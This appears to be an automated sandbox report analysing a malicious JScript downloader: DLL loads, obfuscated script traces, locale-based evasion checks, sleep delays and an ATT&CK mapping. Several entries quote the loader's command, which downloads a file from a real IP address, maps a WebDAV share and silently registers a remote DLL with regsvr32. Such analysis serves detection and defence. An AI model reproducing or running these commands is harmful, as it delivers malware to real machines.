Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3401.js.csv");ITextStream.WriteLine(" entry:8056 f:lzvdmyxuh");ITextStream.WriteLine(" exec:2 f:lzvdmyxuh");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4935			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4322			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3852	Thread sleep count: 4935 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3852	Thread sleep count: 4322 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3408	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6428	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 940	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6004	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3852	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7300	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 00000009.00000002.3362370318.000002BDFC22B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000007.00000002.2142431689.000002794341F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2139973001.000002794341F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3363284493.000002BDFD854000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2142237176.00000279433C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpABCy

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
